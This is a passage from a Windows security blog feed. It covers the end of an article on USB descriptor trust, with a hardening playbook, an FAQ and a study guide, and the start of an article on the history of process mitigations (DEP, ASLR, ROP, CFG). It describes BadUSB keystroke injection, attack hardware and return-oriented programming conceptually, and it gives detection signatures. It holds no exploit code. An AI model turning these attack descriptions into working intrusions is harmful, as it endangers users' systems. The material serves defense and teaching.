&lt;p&gt;The shortest path to closing the descriptor-trust gap runs through silicon (USB-IF Authentication), not through Windows. Until then, every defense in this article is layered around the gap, not on top of it.&lt;/p&gt;
&lt;h2&gt;10. A 2026 USB-Security Playbook for Windows IT&lt;/h2&gt;
&lt;p&gt;We have done the structural accounting. The reader who got this far is either a Windows internals engineer who wants the exact stack picture or an IT operator who needs to deploy something on Monday. The next four sub-sections are for that operator.&lt;/p&gt;
&lt;h3&gt;For end users&lt;/h3&gt;
&lt;p&gt;Do not plug in cables you did not buy. Do not use public USB charging stations. Brian Krebs reported the original juice-jacking demonstration verbatim in August 2011: &lt;em&gt;&quot;In the three and a half days of this year&apos;s DefCon, at least 360 attendees plugged their smartphones into the charging kiosk built by the same guys who run the infamous Wall of Sheep ... Brian Markus, president of Aires Security, said he and fellow researchers Joseph Mlodzianowski and Robert Rowley built the charging kiosk to educate attendees about the potential perils of juicing up at random power stations&quot;&lt;/em&gt; [@krebs-juicejacking]. CISA&apos;s 2023 juice-jacking advisory and the FBI Denver Field Office&apos;s April 6, 2023 X.com warning trace their evidence base to the Aires Security demonstration and its lineage [@wiki-juicejacking]. If you must charge in public, use a USB data-blocker dongle (a passive accessory that breaks the data pins and passes only power).&lt;/p&gt;
&lt;h3&gt;For IT admins on Windows 11 Enterprise&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A minimal Windows 11 Enterprise USB-hardening baseline, in priority order: 1. &lt;strong&gt;Enable Kernel DMA Protection.&lt;/strong&gt; Verify &lt;code&gt;msinfo32&lt;/code&gt; shows &lt;em&gt;&quot;Kernel DMA Protection: On&quot;&lt;/em&gt;. On firmware where the toggle is off, work with the OEM to turn it on in BIOS. Documentation: [@ms-kdp]. 2. &lt;strong&gt;Enable the ASR USB rule.&lt;/strong&gt; Set GUID &lt;code&gt;b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4&lt;/code&gt; to Block via Intune or Group Policy. Verify with &lt;code&gt;(Get-MpPreference).AttackSurfaceReductionRules_Ids&lt;/code&gt;. Documentation: [@ms-asr-rules]. 3. &lt;strong&gt;Configure Defender for Endpoint Device Control.&lt;/strong&gt; Default-deny Mass Storage. Allow corporate HID by VID/PID/serial allow-list. Documentation: [@ms-devcontrol]. 4. &lt;strong&gt;Configure BitLocker To Go.&lt;/strong&gt; Group Policy: &lt;em&gt;Deny write access to removable drives not protected by BitLocker&lt;/em&gt;. Documentation: [@ms-bitlocker]. 5. &lt;strong&gt;Configure GPO Device Installation Restrictions.&lt;/strong&gt; Use &lt;code&gt;AllowedDeviceClasses&lt;/code&gt; with explicit USB / HID setup-class GUIDs to constrain which device classes can be installed in the first place. Documentation: [@ms-gpo-devinstall] [@ms-devsetupclasses]. 6. &lt;strong&gt;Audit USB device installation.&lt;/strong&gt; Pull Event ID 6416 (PnP device installed) into your SIEM. Compose a Defender XDR hunting query for rapid-keystroke bursts in the first 15 seconds after a USB attach as a BadUSB / FIN7-style HID-injection signature [@bleeping-fin7].&lt;/p&gt;
&lt;/blockquote&gt;

*Not capable* means one of three things: the platform lacks an IOMMU (Intel VT-d or AMD-Vi disabled in firmware), the UEFI is not publishing the DMAR / IVRS ACPI tables, or no DMA-Remapping-compatible driver is loaded for at least one externally exposed peripheral. First check `Intel VT-d` or `AMD IOMMU` in the BIOS setup screen and enable them. If they are already on, confirm in `msinfo32` that *DMA Protection: ACPI* is *On* (the firmware-tables check). If the firmware is on and KDP still says *Not capable*, the per-driver opt-in path is the gap: open Device Manager and look at the *Hardware ID* tab of each Thunderbolt or USB4 peripheral; a driver without the `DmaRemappingCompatible=1` directive in its INF will not be IOMMU-isolated and downgrades the system-wide posture. The Microsoft Learn reference walks through the per-driver opt-in [@ms-dmaremap].
&lt;h3&gt;For driver developers&lt;/h3&gt;
&lt;p&gt;Declare &lt;code&gt;DmaRemappingCompatible=1&lt;/code&gt; in your INF if your hardware tolerates IOMMU isolation; this is a one-line directive change with a system-wide security posture improvement [@ms-dmaremap]. Prefer the WDF USB Lower / Upper filter pattern over legacy WDM; the framework&apos;s lifecycle and PnP plumbing are correct by construction in ways that legacy WDM code is not [@ms-usb-3-0-stack]. Validate every descriptor byte in user-mode tooling before relying on &lt;code&gt;usbhub3.sys&lt;/code&gt; to do so; if your device cannot survive its own validator, the descriptor parser surface is wider than it needs to be. If you are writing a vendor-specific function driver, prefer &lt;code&gt;winusb.sys&lt;/code&gt; over a custom KMDF function driver where possible [@ms-winusb]; less kernel-mode code is unambiguously better.&lt;/p&gt;
&lt;h3&gt;For red team and blue team&lt;/h3&gt;
&lt;p&gt;The reproducible test devices are USB Rubber Ducky II + DuckyScript 3.0 [@hak5-shop-ducky] [@hak5-ducky-docs] and the O.MG Cable [@omg-cable]. For inspection, &lt;code&gt;usbview.exe&lt;/code&gt; from the Windows SDK reads live descriptor trees out of &lt;code&gt;usbhub3.sys&lt;/code&gt; and is the closest thing Windows has to a USB-side &lt;code&gt;lsusb -v&lt;/code&gt;. For trace evidence, the ETW providers &lt;code&gt;Microsoft-Windows-USB-USBHUB3&lt;/code&gt; and &lt;code&gt;Microsoft-Windows-USB-USBPORT&lt;/code&gt; (older stack) carry enumeration sequences with per-stage timing, documented end-to-end in Microsoft&apos;s USB Event Tracing for Windows reference [@ms-usb-etw]; wireshark + USBPcap reads the raw descriptor bytes if the kernel-side capture is permitted. For blue-team detection, the BadUSB signature is &lt;em&gt;&quot;first observed time-since-attach to first keystroke event is less than 200 ms&quot;&lt;/em&gt;; legitimate human-driven keyboards do not type at that rate.&lt;/p&gt;
&lt;p&gt;The playbook is layered defense. None of these controls closes the descriptor-trust gap; together they raise the cost enough that the BadUSB-class attacks the article opens with become attacker-uneconomical in a corporate context. The structural problem is still open.&lt;/p&gt;
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;
&lt;p&gt;The reader has the model. These are the seven misconceptions the model corrects.&lt;/p&gt;

No. BitLocker To Go protects *the data on the stick* if you lose it. A reprogrammed thumb drive that re-enumerates as a HID keyboard is unaffected because BitLocker never sees it as a managed volume in the first place [@ms-bitlocker]. BitLocker is a confidentiality control for data at rest on a removable volume; the malicious-peripheral problem is a problem of *peripheral authentication*, which BitLocker is not in the threat model of.

No. KDP blocks pre-login DMA from PCIe-class peripherals tunneled over Thunderbolt 3, Thunderbolt 4, or USB4 [@ms-kdp]. A USB 2.0 thumb drive performs no DMA at all, so KDP is not in its defense chain. KDP is a defense against a different attack class than BadUSB. They are complementary, not substitutable.

No. Driver signing certifies that Microsoft (or a paid-up OEM signed under Microsoft&apos;s signing infrastructure) approved the driver *code* [@ms-kmcs] [@ms-drvsigning]. It does not certify the *descriptors* the driver consumes at runtime. The signed `hidclass.sys` will load happily and inject keystrokes for any HID-class device whose descriptor declares it to be a keyboard, including a reprogrammed thumb drive. KMCS is a defense of the kernel against malicious drivers, not a defense of the kernel against malicious peripherals presenting valid descriptors to honest drivers. The Aside in Section 5 walks this point in detail.

No, it closed one vector. The 2011 KB971029-equivalent rollout disabled `autorun.inf`-driven AutoPlay execution by default [@krebs-feb2011] [@wiki-autorun]. That vector was the load-bearing one for the Conficker era. It did not affect HID injection (which Hak5 had already commercialized in 2010), it did not affect descriptor-parser bugs (which Andy Davis named at Black Hat 2011 [@ncc-davis-2011]), and it did not affect the LNK-icon attack class (which the same Patch Tuesday addressed separately [@nvd-cve-2010-2568]). Each closed vector was a single-bug closure that left adjacent vectors intact.

Real. The cable is commercially available; the firmware is technically documented in the product&apos;s own materials [@omg-cable]; the same primitive (a USB cable with a WiFi-enabled implant) is now in the FBI&apos;s threat reporting on FIN7 mailed-USB campaigns [@bleeping-fin7]. On a stock Windows 11 25H2 endpoint, the O.MG Cable&apos;s HID-injection primitive works exactly as advertised unless explicit Microsoft Defender for Endpoint Device Control policy blocks the HID class for that VID/PID/serial [@ms-devcontrol]. It is not a movie trope.

Not yet, and not by itself. The USB-IF Authentication Specification Revision 1.0 ECN dates from January 7, 2019 [@usbif-auth-spec]. The standard defines ECDSA P-256 over SHA-256 with X.509 chains -- everyday cryptography. The structural problem is two-sided market adoption: no host operating system (Windows, macOS, Linux, ChromeOS) consumes the standard in-box in 2026, and no major device-certification tier requires it. Until that loop closes, the standard&apos;s existence is necessary but not sufficient.

Mostly, with significant cost. Disabling USB controllers at firmware time blocks every USB attack class because no descriptors are ever parsed. It also blocks every keyboard, every mouse, every security token, every licensed peripheral, every biometric reader, every printer that does not speak network protocols, and every legitimate file transfer onto and off of the endpoint. The cost is usually higher than the threat for general-purpose business endpoints, but the trade-off is a legitimate one for tightly scoped roles like air-gapped industrial-control workstations.
&lt;p&gt;Plugging in a USB device is the single most-trusted action a user routinely performs on a Windows machine. Windows has done forty years of work to walk that trust back -- bit by bit, single-bug closure by single-bug closure, generation by generation. Some of that work is silicon-level (Kernel DMA Protection over IOMMU). Some of it is kernel-level (Kernel-Mode Code Signing chained to a Microsoft-trusted root). Some of it is application-level (Attack Surface Reduction, Device Control, AutoRun disablement, BitLocker To Go). None of it -- not one of the ten generations the article walks -- has touched the descriptor-trust premise itself. A peripheral&apos;s self-declared identity is still its identity at enumeration time, in 2026 as in 1996.&lt;/p&gt;
&lt;p&gt;The next breakthrough on this stack will not come from Windows. It will come from USB-IF Authentication finally shipping in commodity peripheral silicon, and a host operating system committing to consume it in-box. That shipment has now been seven years away for seven years. When it arrives -- if it arrives -- the descriptor-trust gap closes, the BadUSB primitive becomes detectable in the bus enumeration handshake, and the eleven kernel-mode operations that begin at 10:42:17 each morning finally consult something the peripheral cannot fake. Until then, the gap is the gap, and the layered mitigations Windows ships are what stand between a Phison microcontroller and your domain administrator credentials.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;plug-and-trust-on-windows&quot; keyTerms={[
  { term: &quot;USB descriptor&quot;, definition: &quot;A small structured block of bytes a USB peripheral returns on request; the device descriptor names vendor ID, product ID, device class, and packet size. The host has no out-of-band channel to verify any of these fields.&quot; },
  { term: &quot;Vendor ID / Product ID (VID/PID)&quot;, definition: &quot;A pair of 16-bit numbers the USB-IF sells (VID) and the manufacturer assigns (PID). The pair forms Windows&apos;s most-specific USB hardware ID. The USB-IF charges $6,000/year for a VID.&quot; },
  { term: &quot;Hardware ID&quot;, definition: &quot;The most specific identifier the PnP manager uses to bind a driver to a USB device. Canonical form: USB\VID_xxxx&amp;amp;PID_xxxx&amp;amp;REV_xxxx, synthesized from the device descriptor.&quot; },
  { term: &quot;Compatible ID&quot;, definition: &quot;A class-based identifier the PnP manager falls back to when no hardware-ID-specific driver INF matches. Canonical form: USB\Class_xx&amp;amp;SubClass_xx&amp;amp;Prot_xx, synthesized from the interface descriptor.&quot; },
  { term: &quot;Composite USB device&quot;, definition: &quot;A physical USB peripheral that declares multiple independent interfaces. usbccgp.sys splits the device into per-interface PDOs; a class driver binds to each independently. This is the structural primitive that lets a thumb drive also present a HID keyboard.&quot; },
  { term: &quot;Kernel-Mode Code Signing (KMCS)&quot;, definition: &quot;Mandatory-since-Vista-x64 policy requiring every .sys file Windows loads into ring zero to carry a Microsoft-trusted signature using SHA-256. KMCS protects against malicious drivers loading; it does not authenticate the data those drivers consume.&quot; },
  { term: &quot;Kernel DMA Protection (KDP)&quot;, definition: &quot;Windows 10 1803+ defense that uses the platform IOMMU to confine externally-connected PCIe-class peripherals (Thunderbolt 3/4, USB4) to per-device translation domains. Pre-login DMA is blocked; per-driver opt-in via DmaRemappingCompatible=1 is required for post-login allow.&quot; },
  { term: &quot;IOMMU&quot;, definition: &quot;Input/Output Memory Management Unit; hardware between peripherals and main memory that translates DMA addresses through OS-controlled per-device page tables. Intel VT-d, AMD-Vi, ARM SMMU.&quot; },
  { term: &quot;HID class&quot;, definition: &quot;USB device class with bInterfaceClass=0x03, originally for keyboards/mice/joysticks. A device that declares HID is allowed to inject keyboard and pointer events into the active session. There is no protocol provision for the host to authenticate that the device is actually a keyboard.&quot; },
  { term: &quot;Attack Surface Reduction (ASR)&quot;, definition: &quot;Microsoft Defender for Endpoint policy framework of GUID-identified rules that block specific abusable behaviors. The USB rule (b2b3f03d-6a65-4f7b-a9c7-1c7ef74a9ba4) blocks untrusted and unsigned process execution from USB-mounted volumes.&quot; },
  { term: &quot;BadUSB&quot;, definition: &quot;The 2014 SR Labs disclosure (Nohl + Krißler + Lell, Black Hat USA) that USB peripheral firmware is field-reprogrammable, allowing a thumb drive to re-enumerate as a HID keyboard and inject keystrokes. Demonstrated to be unpatchable at the protocol level by Karsten Nohl.&quot; },
  { term: &quot;USB-IF Authentication 1.0&quot;, definition: &quot;January 2019 ECN to the USB specification defining cryptographic peripheral identity via ECDSA P-256, X.509 chains, and SHA-256. Exists as a published standard; no major host OS consumes it as of 2026.&quot; }
]} questions={[
  { q: &quot;In what order does Windows execute the eleven kernel-mode operations between physical insertion of a USB device and class-driver attachment?&quot;, a: &quot;Port-status-change interrupt; port reset; speed detection; default-address GET_DESCRIPTOR for the first 8 bytes; SET_ADDRESS; full 18-byte device descriptor fetch; configuration descriptor fetch; composite-device split if applicable; hardware-ID and compatible-ID synthesis; INF database rank-scored search and KMCS verification of the chosen driver; class-driver attachment.&quot; },
  { q: &quot;Why does Kernel-Mode Code Signing not stop a BadUSB attack?&quot;, a: &quot;KMCS verifies the cryptographic signature of the driver binary Windows loads. It does not verify the descriptors the driver consumes at runtime. The signed hidclass.sys loads correctly and injects keystrokes for any HID-class peripheral that declares itself a keyboard; the malicious peripheral never needed to be signed because it is not the loaded binary.&quot; },
  { q: &quot;Why is a thumb drive that re-enumerates as a HID keyboard a protocol-level attack, not a bug?&quot;, a: &quot;The USB specification, by design, lets a peripheral declare its own class via the bInterfaceClass field. The HID class definition allows any HID device to send input events to the active session. There is no out-of-band channel for the host to authenticate that the device is actually a keyboard. The attack is the contract working as written.&quot; },
  { q: &quot;What attack class does Kernel DMA Protection mitigate, and what does it NOT mitigate?&quot;, a: &quot;KDP mitigates DMA-based attacks from externally-connected PCIe-class peripherals tunneled over Thunderbolt 3/4 or USB4. It does NOT mitigate USB 2.0/3.x mass storage attacks, HID injection, descriptor parser bugs, or anything else that does not involve raw DMA. A USB 2.0 thumb drive performs no DMA at all.&quot; },
  { q: &quot;Why has USB-IF Authentication 1.0 not been adopted by any major host OS as of 2026?&quot;, a: &quot;The standard has existed since January 2019. The blocker is two-sided market adoption: peripheral vendors will not ship Authentication-capable silicon until host operating systems consume it, and host operating systems will not consume it until enough peripherals ship it. The cryptography (ECDSA P-256, X.509, SHA-256) is everyday code; the gap is institutional, not technical.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>usb</category><category>security</category><category>kernel</category><category>drivers</category><category>badusb</category><category>pnp</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Process Mitigation Policies: CFG, ACG, CIG, and the Layer Between App Identity and the Kernel</title><link>https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/</link><guid isPermaLink="true">https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/</guid><description>A thirty-year history of Windows process mitigation policies -- DEP, ASLR, CFG, XFG, CET, ACG, CIG -- and the structural reason each one exists.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
Windows ships every modern memory-corruption mitigation as a per-process flag rather than a system-wide setting -- because Outlook can&apos;t enable CIG, Defender can&apos;t enable ACG, and Notepad doesn&apos;t need Disable-Win32k. `SetProcessMitigationPolicy` exposes twenty of these knobs (plus a `MaxProcessMitigationPolicy` sentinel that terminates the enum); the canonical six (DEP, ASLR, CFG, CET shadow stack, ACG, CIG) constrain the control-flow primitives, and the other fourteen cover adjacent attack surfaces. Each knob is a tombstone for an exploit primitive that worked in the previous generation. This article walks the thirty-year arc that built that surface, then names the residual attacks that survive even a fully-stacked process.
&lt;h2&gt;1. The bug is still there. Why didn&apos;t the exploit work?&lt;/h2&gt;
&lt;p&gt;A vulnerability researcher has just landed a type-confusion bug in a JavaScript engine inside an Edge content process. The primitive is exactly what they expected: a writable heap address holding a corrupted vtable pointer. From that pointer the renderer will, on its very next virtual-method call, jump into an address the attacker chose.&lt;/p&gt;
&lt;p&gt;That is supposed to be game over. It is, in the language of every exploit-development textbook from 1996 onward, a working write-what-where. The CPU loads the corrupted pointer into a register. It dereferences it. It calls.&lt;/p&gt;
&lt;p&gt;And the process dies.&lt;/p&gt;
&lt;p&gt;There is no shell. There is no remote code execution. There is a Windows Error Reporting dialog and a &lt;code&gt;STATUS_STACK_BUFFER_OVERRUN&lt;/code&gt; (also written &lt;code&gt;FAST_FAIL_GUARD_ICALL_CHECK_FAILURE&lt;/code&gt;) in the crash log, raised from a thunk named &lt;code&gt;ntdll!LdrpValidateUserCallTarget&lt;/code&gt; the researcher has never seen in their disassembler before. The bug fired exactly as the recipe said. The exploit chain didn&apos;t.&lt;/p&gt;
&lt;p&gt;What stopped it?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Every per-process mitigation in &lt;code&gt;SetProcessMitigationPolicy&lt;/code&gt; is a tombstone for an exploit primitive that worked in the previous generation. The list of policies is, read top to bottom, an attacker&apos;s autobiography [@ms-setprocessmitigationpolicy].&lt;/p&gt;
&lt;/blockquote&gt;

A per-process, opt-in security policy installed via the Win32 `SetProcessMitigationPolicy` API (or, more safely, via `UpdateProcThreadAttribute` before a child process executes its first user-mode instruction). The `PROCESS_MITIGATION_POLICY` enum lists twenty-one values -- twenty actual policies plus the `MaxProcessMitigationPolicy` sentinel that terminates the enum -- as of Windows 11 24H2, each one a separate axis on which an exploit can fail [@ms-process-mitigation-enum, @ms-setprocessmitigationpolicy].
&lt;p&gt;The fastest way to see this is to compare two PowerShell sessions. Pick a maximally-hardened process, the Edge content process, and run &lt;code&gt;Get-ProcessMitigation -Name msedge.exe&lt;/code&gt;. Six mitigations show as ON: CFG, CET shadow stack, ACG, CIG, Disable-Win32k, and Disable-Extension-Points. Now do the same for &lt;code&gt;Notepad.exe&lt;/code&gt;. One or two show as ON. Notepad is a different &lt;em&gt;kind&lt;/em&gt; of process -- it is not parsing attacker-controlled bytes from the public internet, so the mitigation surface it carries is correspondingly small.&lt;/p&gt;
&lt;p&gt;The mitigation set is not just an enable-everything list. Several of the policies are mutually expensive (CET costs cycles on every call/ret; ACG forbids any in-process JIT; CIG forbids any third-party plugin); turning them all on is only viable for a process whose owner accepts those costs. The PowerShell &lt;code&gt;Set-ProcessMitigation&lt;/code&gt; and &lt;code&gt;Get-ProcessMitigation&lt;/code&gt; cmdlets ship in the &lt;code&gt;ProcessMitigations&lt;/code&gt; module that succeeded EMET in 2018.&lt;/p&gt;
&lt;p&gt;Edge carries six mitigations because it has six structurally separate ways the attacker can win. CFG addresses the indirect-call hijack. CET addresses the return-address hijack. ACG addresses the &quot;redirect the JIT to emit my shellcode&quot; hijack. CIG addresses the &quot;plant a Microsoft-signed DLL where the loader picks it up&quot; hijack. Disable-Win32k addresses the renderer-to-kernel escape. Disable-Extension-Points addresses the &lt;code&gt;AppInit_DLLs&lt;/code&gt;-class injection.&lt;/p&gt;
&lt;p&gt;Each one is the closing footnote on a different generation of offensive research. CFG closes indirect-call hijacking. CET closes the shadow-stack-less era. ACG closes JIT spray. CIG closes signed-DLL planting. &lt;code&gt;Get-ProcessMitigation&lt;/code&gt; lays them out as a flat list of &lt;code&gt;ON&lt;/code&gt; checkmarks, as if they had always been there -- as if they had not each cost a decade of research to design and ship.&lt;/p&gt;
&lt;p&gt;So the chain failed. But &lt;em&gt;which&lt;/em&gt; mitigation caught the indirect-call hijack we started with -- and why was that one on? Where do these mitigations come from, and how did Windows arrive at this exact set? To answer that, we have to go back three decades.&lt;/p&gt;
&lt;h2&gt;2. How attackers stopped being able to put bytes on the stack and run them&lt;/h2&gt;
&lt;p&gt;The story starts in November 1996. &lt;em&gt;Phrack&lt;/em&gt; magazine, issue forty-nine, file fourteen of sixteen. Aleph One -- the handle of Elias Levy, a security columnist who would later moderate the BugTraq mailing list -- publishes &lt;em&gt;Smashing The Stack For Fun And Profit&lt;/em&gt; [@phrack-49-14]. The article is a recipe. It walks the reader through process memory layout on Unix, the structure of the call stack on x86, the mechanics of overwriting the saved return address, the construction of &lt;code&gt;/bin/sh&lt;/code&gt; shellcode, and the use of NOP sleds. By the end the reader has working exploit code against &lt;code&gt;syslog&lt;/code&gt;, &lt;code&gt;splitvt&lt;/code&gt;, &lt;code&gt;sendmail 8.7.5&lt;/code&gt;, and Linux/FreeBSD &lt;code&gt;mount&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Buffer overflows existed before Aleph One. The 1988 Morris Worm used one in &lt;code&gt;fingerd&lt;/code&gt;; Mudge&apos;s 1995 &lt;em&gt;How to Write Buffer Overflows&lt;/em&gt; L0pht paper had pieces of the technique. But it was an oral tradition -- something you learned at DEFCON or from someone who learned it at DEFCON. Aleph One&apos;s contribution was pedagogical: a step-by-step recipe anyone with a debugger and an afternoon could follow. Once that recipe was published, every memory-safety bug in C and C++ -- and there were many -- became a candidate for shell-as-the-vendor.&lt;/p&gt;
&lt;p&gt;The defensive response came fast, and it came with a brutal honesty that has shaped every later mitigation. In August 1997, Alexander Peslyak, writing under the handle Solar Designer and running the Openwall Project, posted to BugTraq [@solar-designer-bugtraq-1997]. He had two things. The first was a Linux kernel patch -- still documented at the Openwall README to this day -- that made user-mode stack pages non-executable in software, since AMD&apos;s hardware NX bit was six years away [@openwall-readme]. The second was a working return-into-libc exploit against &lt;code&gt;lpr&lt;/code&gt;, which redirected execution into &lt;code&gt;system()&lt;/code&gt; in the C library rather than into stack-resident shellcode.Solar Designer was honest enough to publish the bypass on the same day as the patch. This is a defender-publishes-own-bypass precedent that has governed almost every Microsoft mitigation announcement since: ship the mitigation, name the residual attack class, set the expectation that the mitigation is a speed bump rather than a fix.&lt;/p&gt;

A memory protection invariant -- &quot;write XOR execute&quot; -- requiring that any page in the process address space be either writable or executable, but never both at the same time. PaX shipped the first complete implementation of W^X on Linux in 2000; AMD&apos;s NX bit in 2003 moved it from software emulation to hardware enforcement; the per-process ACG policy in Windows generalises W^X to apply for the lifetime of an entire process, with no per-thread escape hatch.
&lt;p&gt;The next move was structural. In September 2000 the pseudonymous PaX Team released PAGEEXEC, the Linux non-executable-page implementation that made every writable page non-executable (not just the stack), using clever x86 segment-limit and split-TLB tricks [@wiki-pax]. PaX is also where the term &quot;ASLR&quot; comes from. The July 2001 PaX patch series randomized the executable base, the stack, the heap, the &lt;code&gt;mmap&lt;/code&gt;&apos;d library region, and (with &lt;code&gt;RANDEXEC&lt;/code&gt;) even the position of the executable&apos;s code segment. The PaX design document for ASLR is unusually rigorous about probability -- it derives the expected number of brute-force attempts as a function of entropy bits, decades before anyone framed it that way in the academic literature.&lt;/p&gt;

Address Space Layout Randomization. Per-boot or per-load randomization of the locations at which the kernel maps modules, the stack, the heap, and `mmap`&apos;d regions into a process&apos;s virtual address space. On x86-32 Windows Vista, modules had one of 256 possible base addresses (about 8 bits of entropy). On x64 with `/HIGHENTROPYVA`, entropy is much higher because the virtual address space is larger. ASLR is the precondition that makes every later forward-edge CFI scheme worth deploying -- without it, the attacker just hardcodes the call target.
&lt;p&gt;Hardware finally caught up on September 23, 2003. AMD shipped the no-execute bit -- &quot;NX bit,&quot; bit 63 of the 64-bit long-mode page-table entry -- with the Athlon 64 launch [@wiki-nx-bit]. Intel followed with the marketing-renamed &quot;XD bit&quot; in later Pentium 4 Prescott silicon. From 2003 onward, marking a page non-executable was a single PTE flag away.&lt;/p&gt;
&lt;p&gt;Microsoft consumed the hardware almost immediately. Windows XP Service Pack 2, RTM August 6, 2004, shipped Data Execution Prevention as a system-wide feature. DEP defaulted to OptIn but supported four system-level modes (OptIn, OptOut, AlwaysOn, AlwaysOff) and exposed a per-binary opt-in via the &lt;code&gt;/NXCOMPAT&lt;/code&gt; PE-header flag. On hardware without NX, DEP fell back to a software emulation limited to system-supplied binaries.&lt;/p&gt;
&lt;p&gt;The Wikipedia ROP article frames this moment exactly: &quot;Microsoft Windows provided no buffer-overrun protections until 2004&quot; [@wiki-rop]. After XP SP2, Windows joined PaX, OpenBSD, and Solar Designer&apos;s Openwall on the W^X side of the line.&lt;/p&gt;
&lt;p&gt;Three years later, in January 2007, Microsoft shipped Vista. Vista randomized DLL and EXE module bases at boot, with 256 possible load locations per module on x86. Michael Howard&apos;s MSDN design blog from May 2006 gives a worked example showing &lt;code&gt;wsock32.dll&lt;/code&gt; at &lt;code&gt;0x73ad0000&lt;/code&gt; on one boot and &lt;code&gt;0x73200000&lt;/code&gt; on the next [@ms-howard-vista-aslr]. Vista paired ASLR with &lt;code&gt;/GS&lt;/code&gt; stack canaries, &lt;code&gt;/SafeSEH&lt;/code&gt; validated SEH chains, DEP, and pointer obfuscation -- the first Microsoft OS to ship a layered exploit-mitigation stack as policy.&lt;/p&gt;

flowchart LR
    A[1996 Nov&lt;br /&gt;Aleph One&lt;br /&gt;Phrack 49 14] --&amp;gt; B[1997 Aug&lt;br /&gt;Solar Designer&lt;br /&gt;non-exec stack&lt;br /&gt;+ return-into-libc]
    B --&amp;gt; C[2000 Sep&lt;br /&gt;PaX Team&lt;br /&gt;PAGEEXEC]
    C --&amp;gt; D[2001 Jul&lt;br /&gt;PaX&lt;br /&gt;first ASLR]
    D --&amp;gt; E[2003 Sep&lt;br /&gt;AMD NX bit&lt;br /&gt;Athlon 64]
    E --&amp;gt; F[2004 Aug&lt;br /&gt;Microsoft DEP&lt;br /&gt;Windows XP SP2]
    F --&amp;gt; G[2006 May&lt;br /&gt;Microsoft&lt;br /&gt;Vista ASLR design]
    G --&amp;gt; H[2007 Jan&lt;br /&gt;Vista GA&lt;br /&gt;layered mitigation]
&lt;p&gt;DEP and ASLR are not per-process mitigations in the modern sense. They are the system-wide foundation that the per-process surface sits on top of. The reason &lt;code&gt;ProcessDEPPolicy&lt;/code&gt; still exists in the modern enum at all is to give 32-bit processes a way to enforce DEP locally even when the system policy is permissive. On x64, DEP is unconditionally on; the per-process knob is a vestigial 32-bit-only flag. &lt;code&gt;ProcessASLRPolicy&lt;/code&gt; is more useful -- it allows a process to force-on high-entropy bottom-up randomization with &lt;code&gt;ForceRelocateImages&lt;/code&gt; -- but it too is a refinement of a system-wide foundation, not a new defensive primitive [@ms-setprocessmitigationpolicy].&lt;/p&gt;
&lt;p&gt;By 2007, the story should have been over. DEP had made shellcode unrunnable. ASLR had made gadget addresses unpredictable. Every attacker primitive Aleph One named in 1996 was, in principle, defended. It was not.&lt;/p&gt;
&lt;p&gt;Because the attacker did not need to write new bytes. They could reuse the bytes that were already there.&lt;/p&gt;
&lt;h2&gt;3. ASLR plus DEP made shellcode hard, so attackers stopped writing shellcode&lt;/h2&gt;
&lt;p&gt;October 2007. Hovav Shacham, then on the UC San Diego computer-science faculty after a postdoctoral fellowship at the Weizmann Institute, presents &lt;em&gt;The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)&lt;/em&gt; at ACM CCS [@shacham-rop-pdf]. The paper&apos;s existence claim is simple and devastating: in any sufficiently large C library, the set of short instruction sequences ending in &lt;code&gt;ret&lt;/code&gt; is Turing-complete. The attacker does not need to inject any new code. They only need to write data -- a sequence of return addresses on the stack -- and the CPU obediently executes already-mapped, already-executable libc bytes in the attacker&apos;s chosen order.&lt;/p&gt;
&lt;p&gt;The mechanism is small enough to explain in a paragraph. Shacham named the technique &lt;em&gt;return-oriented programming&lt;/em&gt;. The attacker arranges for the program to return into a &lt;em&gt;gadget&lt;/em&gt; -- a short sequence of one to four instructions ending in &lt;code&gt;ret&lt;/code&gt;. The gadget is selected from existing executable memory: libc, ntdll, the program&apos;s own code segment. The instructions perform a useful primitive (load a register, do arithmetic, dereference a pointer). The trailing &lt;code&gt;ret&lt;/code&gt; pops the next stack slot, which the attacker has populated with the address of the next gadget. The stack is now the program counter; the CPU is now a Turing-complete machine for whatever language the gadget catalog implements.&lt;/p&gt;

An exploitation technique in which the attacker chains short, existing instruction sequences (&quot;gadgets&quot;) each ending in `ret`. Control transfers happen via the program&apos;s own return instructions, executing already-mapped, already-executable code. ROP defeats W^X (DEP, NX) because the attacker injects no new code; it weakens against ASLR but does not break under it because info-leak primitives recover the gadget base address. Coined by Hovav Shacham in 2007 [@shacham-rop-pdf].
&lt;p&gt;The follow-up Black Hat USA 2008 talk generalised the result to RISC architectures [@shacham-bhusa-2008], killing &quot;x86&apos;s variable-length instructions are why ROP works&quot; as a defensive direction. ROP works on ARM. ROP works on MIPS. ROP works wherever an attacker can predict the address of executable bytes and control the stack.&lt;/p&gt;

Return-oriented programming allows an attacker to execute code in the presence of security defenses such as executable space protection. -- Wikipedia, *Return-oriented programming*, lead paragraph [@wiki-rop]
&lt;p&gt;After 2007, the structural agenda of every defensive engineering team on Windows changes. The question is no longer &quot;can we stop the attacker from writing bytes into executable pages?&quot; -- DEP solved that, and ROP routed around it. The question is now: &quot;which control transfers is the attacker allowed to cause?&quot;&lt;/p&gt;
&lt;p&gt;Shacham&apos;s UCSD lab (later UT Austin) kept exploring the boundary between code-reuse attacks and provable software defenses. The 2007 paper is the field-shaping one; the 2008 BHUSA generalisation to RISC was the closing argument.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; After Shacham 2007, every defensive engineering decision in Windows mitigation has been about which control-flow transfers the attacker is allowed to cause, not about what bytes the attacker can write. This is the article&apos;s load-bearing axis. CFG, XFG, CET, ACG, CIG, and every smaller mitigation in &lt;code&gt;PROCESS_MITIGATION_POLICY&lt;/code&gt; follows from this one shift.&lt;/p&gt;
